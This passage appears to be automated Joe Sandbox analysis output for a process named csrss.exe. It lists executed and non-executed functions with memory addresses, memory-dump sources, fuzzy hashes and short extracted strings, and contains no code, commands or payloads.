Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8DAAF0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8D7F49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c39379e48409e9b5340255c264e067774e41905eac3ca6f8759d04a63d9a7a3
Instruction ID: 67a6eb788cb46f7e3025aa5607beb4f7d8884d53456b3fb7f0640a46415c7380
Opcode Fuzzy Hash: 8c39379e48409e9b5340255c264e067774e41905eac3ca6f8759d04a63d9a7a3
Instruction Fuzzy Hash: AAE01A2594F7C04FC71B9B3488688407FA09E6721074A41EBC085CF5B3D5198949C712

Function 00007FFD9B8D2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8A6215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76aa42bc2c727ee183117d0552a5a089a327b27baf45275e50d1530997995294
Instruction ID: 7ecce8e33afcb94d0cfe903d36ed6b357395dc382c4b440968e0fb5bbf6e6ecf
Opcode Fuzzy Hash: 76aa42bc2c727ee183117d0552a5a089a327b27baf45275e50d1530997995294
Instruction Fuzzy Hash: C8D05E00F1E4AA4AF32AE754483193C2D929F4AB54F9908F5D44ACB1EBCC0C3A0283A2

Function 00007FFD9B8D7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8d1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: d1c1143cc124b0efe756162c3dfa8ac9372d12021e1ccd991223d314c9bd14ab
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 74D02234B908080FC71CA7388858C343390EBAE202BD141A9D00AC73B1D92ADC88C740

Function 00007FFD9B8A5B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: b9ec3ce65c255a1bab3f1316cd00332beabc50bfdf7395206d4f90518ae6b1b6
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 76D06720F2A51D5FE7A4E76884693B862E1BF4D700F5541B5904DF32A2DD286E418B11

Function 00007FFD9B8A06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction ID: 3811a9f30665741129847ba5f7f0156a98692acdb6686c5013023809bd7a9bce
Opcode Fuzzy Hash: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction Fuzzy Hash: DAC04C05F6B61F01F83573EE98A60ACA1415BDDF14FDB1172D54C400E1AC4D22D90277

Function 00007FFD9B8A61DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17ef8c9062d1c4c1892c2bb95d364c501d54ee50bc888ad8d138d17f2aa6619
Instruction ID: 879931e6efc4d1bacb4e0e2151a09a7ed9cbeaa0dba2ac3ee24ed03fbc4d4723
Opcode Fuzzy Hash: e17ef8c9062d1c4c1892c2bb95d364c501d54ee50bc888ad8d138d17f2aa6619
Instruction Fuzzy Hash: C1C04C00F2985A06F35AA614453167E44939F48B98FD540B4E01DC72CECD1C5A024287

Function 00007FFD9B8A06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: f39e99fefe8c7f99bc288c8546d5dcd3370f96bb57cb03be905e1ceec16df668
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: 54B01200D6740F00E42433FA08D206470405B4C200FCA1070D40C40091E84D22980363

Non-executed Functions

Function 00007FFD9B8B05A5 Relevance: 11.6, Strings: 9, Instructions: 370COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD9B8B076A
L_^1, xrefs: 00007FFD9B8B072A
L_^%, xrefs: 00007FFD9B8B06C9
L_^0, xrefs: 00007FFD9B8B0722
]+=, xrefs: 00007FFD9B8B078E
+<L, xrefs: 00007FFD9B8B088F
L_^8, xrefs: 00007FFD9B8B0762
L_^;, xrefs: 00007FFD9B8B077A
L_^$, xrefs: 00007FFD9B8B06C2

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID: L_^$$L_^%$L_^0$L_^1$L_^8$L_^9$L_^;$]+=$+<L
API String ID: 0-4134329235
Opcode ID: 00f0a6d90bd7438f3e70809cca93ba3fef39339805f6b71c870a2df845a9d5a8
Instruction ID: 3e9419c3c17563ae245cee3c7d5699b0a8bdab39e50f1422ff633f094f30aefa
Opcode Fuzzy Hash: 00f0a6d90bd7438f3e70809cca93ba3fef39339805f6b71c870a2df845a9d5a8
Instruction Fuzzy Hash: 03A14397B0C63249D31E36EDBD664FD3B00DF8237A70846B7D1AD8B0C3A958608792D6

Function 00007FFD9B8B06D3 Relevance: 11.5, Strings: 9, Instructions: 235COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD9B8B076A
L_^1, xrefs: 00007FFD9B8B072A
L_^%, xrefs: 00007FFD9B8B06C9
L_^0, xrefs: 00007FFD9B8B0722
]+=, xrefs: 00007FFD9B8B078E
+<L, xrefs: 00007FFD9B8B088F
L_^8, xrefs: 00007FFD9B8B0762
L_^;, xrefs: 00007FFD9B8B077A
L_^$, xrefs: 00007FFD9B8B06C2

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID: L_^$$L_^%$L_^0$L_^1$L_^8$L_^9$L_^;$]+=$+<L
API String ID: 0-4134329235
Opcode ID: 9bd533e5cfc044e96e67c4d9a0d9c9d11cc3b57a22f8a5cd80843a1529b9d573
Instruction ID: cb5e8414ce06aeb3f615f01edae268975f3fb63f4c7ebb1ca68a43c8477e9be9
Opcode Fuzzy Hash: 9bd533e5cfc044e96e67c4d9a0d9c9d11cc3b57a22f8a5cd80843a1529b9d573
Instruction Fuzzy Hash: 0D519193B0C53684E31E36B93E6A9FD2700CF8133DB0456B7E12E8A0DB6D9C648365D9

Function 00007FFD9B8B06FA Relevance: 10.2, Strings: 8, Instructions: 223COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD9B8B076A
L_^1, xrefs: 00007FFD9B8B072A
L_^0, xrefs: 00007FFD9B8B0722
L_^+, xrefs: 00007FFD9B8B06FA
]+=, xrefs: 00007FFD9B8B078E
+<L, xrefs: 00007FFD9B8B088F
L_^8, xrefs: 00007FFD9B8B0762
L_^;, xrefs: 00007FFD9B8B077A

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8b0000_csrss.jbxd

Similarity

API ID:
String ID: L_^+$L_^0$L_^1$L_^8$L_^9$L_^;$]+=$+<L
API String ID: 0-3039504807
Opcode ID: e6ca33c27031e0cd769c284de5595fead1fc6c090c22b8dd28cd55ecede482e0
Instruction ID: 63ad6e6792d941f02dda1cb24187d7032b77dc690c4cc3499511707743e6052d
Opcode Fuzzy Hash: e6ca33c27031e0cd769c284de5595fead1fc6c090c22b8dd28cd55ecede482e0
Instruction Fuzzy Hash: 59514197B0C53684E30E36F93E6A9FD2704CF4137DB0496B7E16E8A0CB6D98648361D9

Function 00007FFD9B8A09B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9B8A0B56
#{9, xrefs: 00007FFD9B8A0B3E
"s9, xrefs: 00007FFD9B8A0B46
!k9, xrefs: 00007FFD9B8A0B4E

Memory Dump Source

Source File: 00000018.00000002.1933076313.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: e7ecb63b4f0195618f99bafbaa0c4986e11a62fb5fc6c2e9260fbe68e7b8ec72
Instruction ID: b097706925f4cd262ef24257c904568ada5f7b21d643c4fb40ca0960fe2e470c
Opcode Fuzzy Hash: e7ecb63b4f0195618f99bafbaa0c4986e11a62fb5fc6c2e9260fbe68e7b8ec72
Instruction Fuzzy Hash: 2D419F47B1947A85E31E37FD79299FD6B44CF8533DB0843B7E05E8A0C76C88608292E5

Analysis Process: csrss.exePID: 7964, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B870854 Relevance: 2.1, APIs: 1, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4440f44a381c5f5d69a94d72e10ac52c9a663d5c16657a7dd460a6ef4396c20
Instruction ID: 557b411c7bd50102f5e10788f1386f582b698dce50d2ff6867df6eea5d3ebd07
Opcode Fuzzy Hash: a4440f44a381c5f5d69a94d72e10ac52c9a663d5c16657a7dd460a6ef4396c20
Instruction Fuzzy Hash: 5C02F83090DA8D4FEB59DF68C8567E97BE1FF59310F14426FE84DC32A2DA74A8418B81

Function 00007FFD9BC8233C Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62a39d9cb22d9d5b29901e4b7f405fbfb4de9976759fb099a5e04c22cb10e07
Instruction ID: e9d5692eba6cdbafce97a71ab6d7cdd155665f38bcd89a1bdccb06acad1c07f5
Opcode Fuzzy Hash: a62a39d9cb22d9d5b29901e4b7f405fbfb4de9976759fb099a5e04c22cb10e07
Instruction Fuzzy Hash: 3D02F630B1D94D4FEB28ABB8C86B9BD7791EF59300F45017ED44AC72E3DE2469468781

Function 00007FFD9BC80706 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3535b841014a796b550155debfef994d46d604ed086101f124375fb98d832e90
Instruction ID: 31fe85db3b6204804cb1f125597cd8097f3898ea41676d78fce3c92d438a2cc8
Opcode Fuzzy Hash: 3535b841014a796b550155debfef994d46d604ed086101f124375fb98d832e90
Instruction Fuzzy Hash: 5A029330A09A4D8FEBB8DF28D8557E937D1FF55310F04427AD85DC72A5CB34A9858B82

Function 00007FFD9BC814B2 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e9d0b17522961857a5736e7ebfdcf6fcf6cfa8006d43293a67d53d816a0514
Instruction ID: 8991fea74ccd261ea45000ad28be941ca6cb3f60f3993de075c043214c701794
Opcode Fuzzy Hash: 34e9d0b17522961857a5736e7ebfdcf6fcf6cfa8006d43293a67d53d816a0514
Instruction Fuzzy Hash: 2DF1A330A09A4E8FEBA8DF68C8557F937D1FF58310F05427ED84DC72A5DA78A9418B81

Function 00007FFD9B8A1625 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb6a486d22908a61e70bd5a4f0a85c097f77dcc44c54ca9bfcae9e02d8b62ee
Instruction ID: b78154f7a7bda39e3607063ce023b76a52c1f913e717ada883487890fa13b711
Opcode Fuzzy Hash: 3eb6a486d22908a61e70bd5a4f0a85c097f77dcc44c54ca9bfcae9e02d8b62ee
Instruction Fuzzy Hash: 96D1ED21A2E6990BF32D5B688C921B177D1EB87305B5D837DD8DBC319BD928A903C3D1

Function 00007FFD9BC795D2 Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860d06f54af4fd1726b9d70d86d7f59ef05d36bd1eec8b2d0145199d02d6f6f8
Instruction ID: cc4004e70ef86f01af3301b8d9036ea078d35a561934baf59d141ca7e56d2593
Opcode Fuzzy Hash: 860d06f54af4fd1726b9d70d86d7f59ef05d36bd1eec8b2d0145199d02d6f6f8
Instruction Fuzzy Hash: F4B17420B29A4D5FEB98EBB884BA6BD73D1EF8C204B4104BDD01EC73D7DD29A9418341

Function 00007FFD9B8A86F0 Relevance: 2.6, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L_^, xrefs: 00007FFD9B8A8762
L_^, xrefs: 00007FFD9B8A8712

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^$L_^
API String ID: 0-2199681630
Opcode ID: 16d761a7b0c02c626445aee7bde9721c5a175a0c31ef86e2fe632ad2f549bef8
Instruction ID: ea1967d091ed08ad2275dc8e4b898686d4671b406964ddf61d629aa142427dea
Opcode Fuzzy Hash: 16d761a7b0c02c626445aee7bde9721c5a175a0c31ef86e2fe632ad2f549bef8
Instruction Fuzzy Hash: 49317CB3A0B6594BE31AAB6EECA64D837D0FF1121CB4D01F6C6988B293FE10744F8151

Function 00007FFD9B9D2A28 Relevance: 2.2, Strings: 1, Instructions: 906
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 00007FFD9B9D3549

Memory Dump Source

Source File: 0000001A.00000002.2977799356.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b9d0000_csrss.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 4bea7774d1fbca709fd3c68bbb840e65980205e72921459baa55e8bcbb44aa02
Instruction ID: 073339d6489b50dbdb1f816b214ffe1003e35d1612fb2c4183ea6811d242951c
Opcode Fuzzy Hash: 4bea7774d1fbca709fd3c68bbb840e65980205e72921459baa55e8bcbb44aa02
Instruction Fuzzy Hash: B27273B1A1CA5D8FEB9CDB18C8A1EA4B7E1FB68340F1445FDA04D93291DE35B981CB41

Function 00007FFD9BC7B9A2 Relevance: 1.4, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I, xrefs: 00007FFD9BC7BB26

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: f9b41f061461992d6d5dbb8f61263c85fa3cca7cbb4ea1af81eeaf4c043ec9e9
Instruction ID: 8a376b344412899ed50f1b81413a60f012206671869c3ec14429faa00aad21cd
Opcode Fuzzy Hash: f9b41f061461992d6d5dbb8f61263c85fa3cca7cbb4ea1af81eeaf4c043ec9e9
Instruction Fuzzy Hash: 6F411631A0E68A4FD711AF74C4B46A87BB1EF86320F1641FEC059CB1E3DA2CA946C741

Function 00007FFD9B8A880D Relevance: 1.3, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L_^, xrefs: 00007FFD9B8A882A

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^
API String ID: 0-925995230
Opcode ID: 1d37aa52ad7445dc51b37215218590e547cef4c2eb89f50d14b08d9684f995af
Instruction ID: fc55c76ad50f4a580fc2f2bed849a7571b6625691c2b4144285763f34b6f216b
Opcode Fuzzy Hash: 1d37aa52ad7445dc51b37215218590e547cef4c2eb89f50d14b08d9684f995af
Instruction Fuzzy Hash: 70115963B0B56547D216A76DEC668E837D0EF06118B4800F7C698CB1A3FC05A80F82A1

Function 00007FFD9BC7BAAE Relevance: 1.3, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I, xrefs: 00007FFD9BC7BB26

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: d2978adf9b90c111de4fb15cda94cd32f378e9399dc0bee6712fd6e7a1851ced
Instruction ID: b1b722a59fc505a70422a6ed3de31f164bd96bb722b93282eeff854118cc3189
Opcode Fuzzy Hash: d2978adf9b90c111de4fb15cda94cd32f378e9399dc0bee6712fd6e7a1851ced
Instruction Fuzzy Hash: 7A11273190F3C94FC715EF7484B54997FB0EF56250B4A41EAC088CB0B3EA2C654AC700

Function 00007FFD9B8A8835 Relevance: 1.3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L_^, xrefs: 00007FFD9B8A886A

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: L_^
API String ID: 0-925995230
Opcode ID: 71669d6356cdeed0b8ad357d748c6b34e5920080eca74e43ab5b91e98c96db7f
Instruction ID: c01d73b5b6b0e316320c80f6c3f3bf6f9c2cac1517039030c227a4fbdedf6114
Opcode Fuzzy Hash: 71669d6356cdeed0b8ad357d748c6b34e5920080eca74e43ab5b91e98c96db7f
Instruction Fuzzy Hash: 3A11A373F0A6488FD705975EDCA64A873E0FF54714F45017AC494C7122FA24656AC652

Function 00007FFD9B8AAAD9 Relevance: 1.3, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8AAAF6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: da265727c71a32f59b277412d735421b616e7f2b1c43e4fcb8cfa5dca2f46b41
Instruction ID: 67b6488945c832d8ba768f301203aab5b201a36448326290758e3be27e20971e
Opcode Fuzzy Hash: da265727c71a32f59b277412d735421b616e7f2b1c43e4fcb8cfa5dca2f46b41
Instruction Fuzzy Hash: 83F0A06060E3C44FC7169A3488688147FA0EE2721074A42EFC045CB1A3EA299885C701

Function 00007FFD9B8A1D89 Relevance: 1.3, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8A1DA6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: c5a5a908559d3f5e267367c037e2e50ba0f5e7e9cc8f867fb56cfb11cd0073f4
Instruction ID: 615bb9ae706d012f74e48ef76112caa83a9a7637d30fea0c13571e682ec3cdd2
Opcode Fuzzy Hash: c5a5a908559d3f5e267367c037e2e50ba0f5e7e9cc8f867fb56cfb11cd0073f4
Instruction Fuzzy Hash: 76F0657160F7D44FC716EA7888694547F60EF6720174A52EFC045CF1A3EA2DD885C741

Function 00007FFD9B883F19 Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B883F36

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 1b69e6b1943044ce1b9af6afa33e622c71403f58ff32901ae15ba1edd6d4cfd4
Instruction ID: 811fc8bac6d9226ad873ce454fa9f9f373721025d026f8ab8d4c5bfcb1b97e6b
Opcode Fuzzy Hash: 1b69e6b1943044ce1b9af6afa33e622c71403f58ff32901ae15ba1edd6d4cfd4
Instruction Fuzzy Hash: 80E09271A0E7C48FCB16EB348869454BFA0EF6731174A41EEC086CF1A7EA2DC885C701

Function 00007FFD9B8AAB69 Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8AAB86

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 2d52335662db6b34e2dc576bac7aa59626ebc0c81f4ca58b9423d45d0da6818a
Instruction ID: 47ffd56b3eacac617764a9f03734e4df8faaed829993c817344c3c981ee0f1fe
Opcode Fuzzy Hash: 2d52335662db6b34e2dc576bac7aa59626ebc0c81f4ca58b9423d45d0da6818a
Instruction Fuzzy Hash: 54E06D3060E3C48FC71AAB34886D8547FA0EE6721134A42EFC445CF1A3DA2D8889CB11

Function 00007FFD9B8A21E9 Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M, xrefs: 00007FFD9B8A2206

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 7a7bf5cc87cf0f2db89d27af13f1c36a0fcff881f08f096d86ad286f20c42c71
Instruction ID: 9b5451538e97f11049cacd1d3823bc77e6aeb8fb5c22b57561cadec6a7eb592a
Opcode Fuzzy Hash: 7a7bf5cc87cf0f2db89d27af13f1c36a0fcff881f08f096d86ad286f20c42c71
Instruction Fuzzy Hash: 8BE06D2160E3C08FCB16AB348868455BFA0EE6720174A56EFC096CF1A3EA2D8985CB01

Function 00007FFD9B8AEDA9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8AEDC6

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
